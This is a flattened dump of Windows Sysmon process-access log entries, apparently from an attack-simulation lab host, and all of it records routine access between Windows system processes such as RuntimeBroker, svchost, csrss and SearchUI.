14:45:29.352{7BD73061-6D0E-613B-8A06-00000000F001}32686404C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+15171|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+1e1d|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+1f63|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+3d38b|C:\Windows\System32\combase.dll+3e7b2|C:\Windows\System32\combase.dll+63c83|C:\Windows\System32\combase.dll+3e8cd|C:\Windows\System32\combase.dll+61faf|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466|C:\Windows\System32\combase.dll+5dc1a|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11b2c|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+c751 10341000x800000000000000045749Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.352{7BD73061-6D0E-613B-8A06-00000000F001}32686404C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+15084|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+1e1d|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+1f63|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+3d38b|C:\Windows\System32\combase.dll+3e7b2|C:\Windows\System32\combase.dll+63c83|C:\Windows\System32\combase.dll+3e8cd|C:\Windows\System32\combase.dll+61faf|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466|C:\Windows\System32\combase.dll+5dc1a|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11b2c|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+c751 10341000x800000000000000045748Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.352{7BD73061-6D0E-613B-8A06-00000000F001}32686068C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+169ae|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+1535|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+16ef|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+a243|C:\Windows\System32\combase.dll+aecda|C:\Windows\System32\combase.dll+a5aad|C:\Windows\System32\RuntimeBroker.exe+12d1|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\combase.dll+65373|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+6169d|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+7c599|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49cde|C:\Windows\System32\RPCRT4.dll+30ed7 10341000x800000000000000045747Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.337{7BD73061-6D0E-613B-8A06-00000000F001}32686404C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+15171|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+1e1d|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+1f63|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+3d38b|C:\Windows\System32\combase.dll+3e7b2|C:\Windows\System32\combase.dll+63c83|C:\Windows\System32\combase.dll+3e8cd|C:\Windows\System32\combase.dll+61faf|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466|C:\Windows\System32\combase.dll+5dc1a|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11b2c|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+c751 10341000x800000000000000045746Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.337{7BD73061-6D0E-613B-8A06-00000000F001}32686404C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+15084|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+1e1d|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+1f63|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+3d38b|C:\Windows\System32\combase.dll+3e7b2|C:\Windows\System32\combase.dll+63c83|C:\Windows\System32\combase.dll+3e8cd|C:\Windows\System32\combase.dll+61faf|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466|C:\Windows\System32\combase.dll+5dc1a|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11b2c|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+c751 10341000x800000000000000045745Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.337{7BD73061-6D0E-613B-8A06-00000000F001}32685404C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+169ae|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+1535|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+16ef|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+a243|C:\Windows\System32\combase.dll+aecda|C:\Windows\System32\combase.dll+a5aad|C:\Windows\System32\RuntimeBroker.exe+12d1|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\combase.dll+65373|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+6169d|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+7c599|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49cde|C:\Windows\System32\RPCRT4.dll+30ed7 10341000x800000000000000045744Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.337{7BD73061-6D0E-613B-8A06-00000000F001}32686404C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+15171|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+1e1d|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+1f63|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+3d38b|C:\Windows\System32\combase.dll+3e7b2|C:\Windows\System32\combase.dll+63c83|C:\Windows\System32\combase.dll+3e8cd|C:\Windows\System32\combase.dll+61faf|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466|C:\Windows\System32\combase.dll+5dc1a|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11b2c|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+c751 10341000x800000000000000045743Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.337{7BD73061-6D0E-613B-8A06-00000000F001}32686404C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+15084|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+1e1d|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+1f63|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+3d38b|C:\Windows\System32\combase.dll+3e7b2|C:\Windows\System32\combase.dll+63c83|C:\Windows\System32\combase.dll+3e8cd|C:\Windows\System32\combase.dll+61faf|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466|C:\Windows\System32\combase.dll+5dc1a|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11b2c|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+c751 10341000x800000000000000045742Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.337{7BD73061-6D0E-613B-8A06-00000000F001}32686404C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+15171|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+1e1d|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+1f63|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+3d38b|C:\Windows\System32\combase.dll+3e7b2|C:\Windows\System32\combase.dll+63c83|C:\Windows\System32\combase.dll+3e8cd|C:\Windows\System32\combase.dll+61faf|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466|C:\Windows\System32\combase.dll+5dc1a|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11b2c|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+c751 10341000x800000000000000045741Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.337{7BD73061-6D0E-613B-8A06-00000000F001}32686404C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+15084|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+1e1d|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+1f63|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+3d38b|C:\Windows\System32\combase.dll+3e7b2|C:\Windows\System32\combase.dll+63c83|C:\Windows\System32\combase.dll+3e8cd|C:\Windows\System32\combase.dll+61faf|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466|C:\Windows\System32\combase.dll+5dc1a|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11b2c|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+c751 10341000x800000000000000045740Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.337{7BD73061-6D0E-613B-8A06-00000000F001}32685404C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+169ae|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+1535|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+16ef|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+a243|C:\Windows\System32\combase.dll+aecda|C:\Windows\System32\combase.dll+a5aad|C:\Windows\System32\RuntimeBroker.exe+12d1|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\combase.dll+65373|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+6169d|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+7c599|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49cde|C:\Windows\System32\RPCRT4.dll+30ed7 10341000x800000000000000045739Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.337{7BD73061-6D0E-613B-8A06-00000000F001}32685404C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+169ae|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+1535|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+16ef|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+a243|C:\Windows\System32\combase.dll+aecda|C:\Windows\System32\combase.dll+a5aad|C:\Windows\System32\RuntimeBroker.exe+12d1|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\combase.dll+65373|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+6169d|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+7c599|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49cde|C:\Windows\System32\RPCRT4.dll+30ed7 10341000x800000000000000045738Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.337{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F89-613B-BD0A-00000000F001}7068C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045737Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.321{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F89-613B-BD0A-00000000F001}7068C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045736Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.321{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F89-613B-BD0A-00000000F001}7068C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045735Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.258{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F89-613B-BC0A-00000000F001}4140C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045734Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.258{7BD73061-6D0E-613B-8A06-00000000F001}32685404C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\system32\windows.cortana.Desktop.dll+418c2|C:\Windows\system32\windows.cortana.Desktop.dll+41968|C:\Windows\system32\windows.cortana.Desktop.dll+16557|C:\Windows\system32\windows.cortana.Desktop.dll+12d9b|C:\Windows\system32\windows.cortana.Desktop.dll+15c7|C:\Windows\system32\windows.cortana.Desktop.dll+44bd|C:\Windows\System32\combase.dll+aecda|C:\Windows\System32\combase.dll+a5aad|C:\Windows\System32\RuntimeBroker.exe+12d1|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\combase.dll+65373|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+6169d|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+7c599|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d 10341000x800000000000000045733Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.258{7BD73061-6D0E-613B-8A06-00000000F001}32685404C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\system32\windows.cortana.Desktop.dll+418c2|C:\Windows\system32\windows.cortana.Desktop.dll+41680|C:\Windows\system32\windows.cortana.Desktop.dll+92dc|C:\Windows\system32\windows.cortana.Desktop.dll+12d31|C:\Windows\system32\windows.cortana.Desktop.dll+15c7|C:\Windows\system32\windows.cortana.Desktop.dll+44bd|C:\Windows\System32\combase.dll+aecda|C:\Windows\System32\combase.dll+a5aad|C:\Windows\System32\RuntimeBroker.exe+12d1|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\combase.dll+65373|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+6169d|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+7c599|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d 10341000x800000000000000045732Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.258{7BD73061-6D0F-613B-9406-00000000F001}44802896C:\Windows\Explorer.EXE{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\twinapi.appcore.dll+1ea06|C:\Windows\SYSTEM32\twinapi.appcore.dll+1e3d1|C:\Windows\SYSTEM32\twinapi.appcore.dll+1dbcc|C:\Windows\SYSTEM32\twinapi.appcore.dll+1d777|C:\Windows\System32\TwinUI.dll+15bf06|C:\Windows\System32\TwinUI.dll+83087|C:\Windows\System32\TwinUI.dll+bb7be|C:\Windows\System32\TwinUI.dll+bb789|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045731Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.258{7BD73061-6D0F-613B-9406-00000000F001}44802896C:\Windows\Explorer.EXE{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\twinapi.appcore.dll+1e95e|C:\Windows\SYSTEM32\twinapi.appcore.dll+1e3d1|C:\Windows\SYSTEM32\twinapi.appcore.dll+1dbcc|C:\Windows\SYSTEM32\twinapi.appcore.dll+1d777|C:\Windows\System32\TwinUI.dll+15bf06|C:\Windows\System32\TwinUI.dll+83087|C:\Windows\System32\TwinUI.dll+bb7be|C:\Windows\System32\TwinUI.dll+bb789|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045730Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.258{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+1a697|c:\windows\system32\fntcache.dll+1aacc|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045729Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.242{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F89-613B-BC0A-00000000F001}4140C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045728Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 